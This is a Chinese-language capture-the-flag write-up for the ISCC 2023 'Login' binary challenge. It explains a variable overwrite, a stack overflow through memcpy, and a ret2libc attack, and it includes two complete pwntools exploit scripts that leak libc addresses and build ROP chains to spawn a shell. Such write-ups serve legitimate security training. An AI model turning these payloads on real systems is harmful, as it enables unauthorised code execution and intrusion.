【ISCC 2023】Login
收获
经典的 ret2libc 问题,需要结合动态调试来确定程序泄露的具体函数名
需注意实际的字节数,不要下意识就 64 位程序用
p64()
,32 位程序用p32()
结合动态调试,有时候需要注意
io.send()
和io.sendline()
注意 libc 版本问题,libc 版本不一致计算偏移也会不一样
(2023年5月1日-2023年5月25日)【ISCC 2023】Login
思路
题目给出了 libc 文件:
分析文件并运行:
在 IDA 下分析:
逻辑比较简单,首先程序会在运行中给出 stdin
的真实地址
需要满足 v6 = 365696460
才能继续往下,观察一下 v6 在栈中的位置:
由于 buf 输入的长度为 0x20,无法覆盖返回地址,但是可以覆盖 v6 的值,因此可以修改 v6 为 365696460 (0x15CC15CC)
注意:
这里 v6 为 4 字节,需要 buf 先填充
0x20 - 0x4
个垃圾字符到达修改 v6 的值应该为:
p32(365696460)
、p32(0x15CC15CC)
或b'\xCC\x15\xCC\x15'
,不要因为是 64 位程序就下意识写成p64(365696460)
绕过 if 判断后,read()
函数又可以输入 0x100,但是在栈中 v4 位于 rbp - 120h
处,因此同样无法覆盖返回地址
进入到 print_name()
函数中:
这里使用 memcpy()
将 v4 复制到 dest 中,由于 dest 长度只有 32,位于 rbp - 20h
处,因此可以通过 v4 来赋值 dest 覆盖到返回地址
不过程序中既没有 "/bin/sh"
也没有后门函数:
由于给出了 libc 文件,因此考虑使用 ret2libc
需要注意这里给出的 stdin
的地址,跟进一下:
在编写脚本时发现在 libc 中寻找 stdin
的地址来计算偏移是不对的,动态调试一下看看
单步执行到 printf("Here is a tip: %p\n", stdin)
这一句:
发现传给 printf()
的参数是 _IO_2_1_stdin_
而不是 stdin
,因此应该在 libc 中寻找 _IO_2_1_stdin_
的地址来计算偏移
获取 gadget 地址:
当然,不使用程序直接给出的 stdin
也是可以的,我们可以自己通过 puts()
函数来泄露其他函数的地址,然后计算偏移
脚本一
直接使用程序输出的
_IO_2_1_stdin_
地址来 getshell (使用stdin
是不行的)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./Login')
elf = ELF('./Login')
libc = ELF('./libc-2.23.so')
io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)
# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()
结果一
脚本二
使用两次 ROP 获取
puts
的真实地址来计算偏移 getshell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./Login')
elf = ELF('./Login')
libc = ELF('./libc-2.23.so')
io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))
# 第一次 ROP 泄露程序中 puts() 的真实地址
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)
io.send(payload)
pop_rdi_ret = 0x4008c3
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = elf.symbols['main']
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
io.send(payload)
# 记录泄露出的 puts() 的真实地址
io.recvlines(1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
# 第二次 ROP 来 getshell
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)
io.send(payload)
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()
结果二
上述两个脚本只适用于旧版本的 Ubuntu,例如 Ubuntu 16.04,如果使用 Ubuntu 22.04 这种会发现同样的 exp 却无法 getshell
原因在于程序使用的 libc 与 Ubuntu 22.04 的 libc 版本不同,而 libc 版本依赖于 ld 版本,所以如果在 Ubuntu 22.04 下强行使用题目提供的 libc 来运行程序会使程序发生崩溃
详见本站《PWN中Glibc导致的偏移地址问题》一文